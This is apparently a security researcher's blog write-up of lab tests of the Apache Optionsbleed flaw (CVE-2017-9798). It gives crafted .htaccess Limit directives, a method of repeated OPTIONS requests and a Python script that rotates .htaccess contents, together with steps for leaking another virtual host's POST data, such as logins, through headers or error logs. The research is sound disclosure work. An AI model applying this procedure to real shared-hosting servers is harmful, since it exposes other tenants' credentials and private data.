Introduction

I took a few minutes to test the Optionsbleed vuln (CVE-2017-9798), specifically to see whether modifying the length and/or quantity of Options/Methods in the .htaccess file would enable me to extract anything of substance from memory. Ultimately it seems that by modifying the length of the entries in the .htaccess file, I was able to gain access to hundreds of bytes of POST data of a different virtual host.

Note: Since originally publishing, I’ve added several updates to the end of this post.

Details

My setup was simple…two virtual hosts running an an Apache server hosted on a Linux VM. Each virtual host ran on a different port and had separate directories and error logs. Virtual Host 1 (the running on port 80) was simply hosting a “hello” index.html. This was going to be my “attacker” site that would host the malicious .htaccess file. Virtual Host 2 (the “victim” site running on port 81) was hosting a php page that takes three inputs…username, password, and a third, variable length variable.

1 2 3 4 5 6 7 8 9 10 11 <?php $user = $_POST [ "username" ] ; $pwd = $_POST [ "password" ] ; $otherdata = $_POST [ "otherdata" ] ; ?> < form action = "index.php" method = "POST" > Otherdata : < input type = "text" name = "otherdata" > < br > Username : < input type = "text" name = "username" > < br > Password : < input type = "text" name = "password" > < br > < input type = "submit" value = "Submit" > < / form >

Throughout the remainder of this post, I’ll refer to them as Site1 (Attacker Site on Virtual Host 1) and Site 2 (Victim Site on Virtual Host 2).

I started with an .htaccess file on Site1 that looked as follows:

1 2 3 < Limit method0 method1 method2 method3 method4 method5 > Allow from all < / Limit >

Making several OPTIONS requests for Site1 resulted in a modified but fairly innocuous Accept header:

1 Allow : GET , POST , OPTIONS , HEAD , , allow , , , , , , , , , , , , , , ,

Slight modifications in content and length did return a few varying bytes but nothing very different from the examples I had already seen online and nothing that was of particular interest. I started extending the length of each option/method in the .htacess file (using a simple numeric string of 0123456789) until I got to the following:

1 2 3 < Limit 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 > Allow from all < / Limit >

It’s three entries of different lengths: 100, 3000, and 2000.

After multiple OPTIONS requests I got this:

Definitely good length, but the content is uninteresting. I let Burp Intruder continue to make OPTIONS requests while I submitted a test POST request on Site2. While the POST on Site2 was successful, my OPTIONS requests running on Site1 began generating 500 errors. I looked at the error log on Site1 and saw multiple entries of varying content that looked like the following:

1 [ Thu Sep 21 23 : 45 : 44.990337 2017 ] [ http : error ] [ pid 74566 ] [ client 192.168.1.234 : 62875 ] AH02430 : Response header 'Allow' value of 'GET,OPTIONS,POST,HEAD,0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901(@\xe8\x0f\xb2\x7f' contains invalid characters , aborting request

It appeared that some of the non-ASCII content it was grabbing from memory was making the request invalid to Apache, resulting in the 500 error. I figured it was a long-shot but I tried HttpProtocolOptions Unsafe to see if it could be returned to the client but some of the characters were still considered invalid. Nevertheless, I figured it didn’t matter much given the more viable attack vector would be a malicious actor modifying the .htaccess file on their virtual host of a shared hosting environment. It would stand to reason that they would also have access to their own web server error logs as well (and wouldn’t need to rely on data returned to the client).

So, now I wanted to see if it was possible to access the POST data from Site2 in the error log of Site1 by modifying the .htaccess file further.

After a bit of trial and error, I was able to consistently obtain POST data from Site2 in Site1’s error logs by doing the follow:

First, I used the earlier .htaccess file with the initial set of three varying length numerical strings (100, 3000, 2000) and made a few thousand OPTIONS requests via Burp Intruder. Then, I switched up the .htaccess file to read as follows:

1 2 3 < Limit 0123456789 0123456789 0123456789 > Allow from all < / Limit >

I left Burp Intruder OPTIONS requests running on Site1 with this .htaccess file, which began to generate 500 errors. While that was running, I submitted the following request to the PHP page on Site2:

And here’s what I got in the error log on Site1:

If you try to replicate this, you may get different results, especially if you deviate in length for either the .htaccess entries or the POST request on virtual host 2. Obviously, in an attack scenario, only the .htacess file would be under the bad actor’s control and the POST request on another virtual host would be unpredictable in content and length. However, I did find that varying lengths still resulted in data captured in the error log…it just may not be consistent. Experiment to see for yourself.

UPDATE #1 (9/22): I intentionally didn’t speculate on whether these test results are in any way significant simply because I may be missing something that would make this impractical in un-patched environments. Most organizations aren’t likely going to have exposed shared hosting environments in their own network anyway (and if they do provide the ability for untrusted actors to modify .htaccess on their servers they have bigger problems). For those that have web applications hosted by external hosting providers, my test environment may have been too simple or I might be missing a key consideration regarding shared memory and the typical multi-tenant hosting environment. In any event, I figured I would share these results in case it’s helpful for others to investigate further and either replicate or disprove the results.

UPDATE #2 (9/23): I have been able to get the POST data from Site2 to return directly to the client without generating an error fairly consistently by swapping out the values in the .htaccess file multiple times while the OPTIONS requests are running. Here is what has been working for me:

Start running the OPTIONS requests on Site1 using Intruder (I just let it run for 99,999 requests) using the 100, 3000, 2000 length values in .htaccess. Modify .htaccess to use the three smaller 0123456789, 0123456789, 0123456789 values as shown previously. Switch back to the 100, 3000, 2000 lengths. Modify the .htaccess file again ,this time using ten 0123456789 values. Submit the POST request on Site2. Below is the result in *most* cases

Again, keep in mind that this is partly dependent upon the length of the POST request submitted on site 2. You can adjust the length of the testdata string to see how your results vary.

UPDATE #3 (9/28): I heard from @WPScans that they had done their own testing and weren’t able to get any interesting data returned via the OPTIONS request.

Since this was an Apache vuln, I wasn’t sure how WordPress (or another similar CMS) would be a significant factor but I happened to have another (considerably older) Apache server available with WordPress and Drupal instances already installed so I fired it up and gave it a test. This server was pre-CVE-2016-8743 so no 5XX errors caused by invalid characters which meant all of the data was being returned directly to the client on the OPTIONS request. Just as in my prior testing, I was able to get interesting data returned:

To make testing easier, I also automated the .htaccess modification via the following python script:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from random import randint import time def randOpt ( length ) : options = [ ] for x in range ( 3 , 5 ) : optstring = '0123456789' if length == 'short' : multiplier = randint ( 1 , 10 ) else : multiplier = randint ( 10 , 300 ) option = optstring * multiplier options . append ( option ) return ' ' . join ( map ( str , options ) ) while True : options = [ randOpt ( 'long' ) , randOpt ( 'short' ) ] for entry in options : f = open ( '.htaccess' , 'w' ) contents = "<Limit %s>

\tAllow from all

</Limit>" % entry f . write ( contents ) f . close ( ) time . sleep ( 5 )

It will simply rewrite the .htaccess file with alternating long/short options values every X seconds. Keep in mind it will overwrite the file with only the Limit declaration contents. To try this on your own test server simply:

Start running the python script in the designated folder where the .htaccess file should exist Start successive OPTIONS requests against that site (e.g. via Burp Intruder) Execute interesting POST requests (logins, etc.) on the same site or another virtual host on the same server and monitor the responses from your OPTIONS requests.

For step 3, you may need to play with the length of the POST requests, though at times I was definitely able to obtain data from shorter requests.

Until next time,

Mike

Follow @securitysift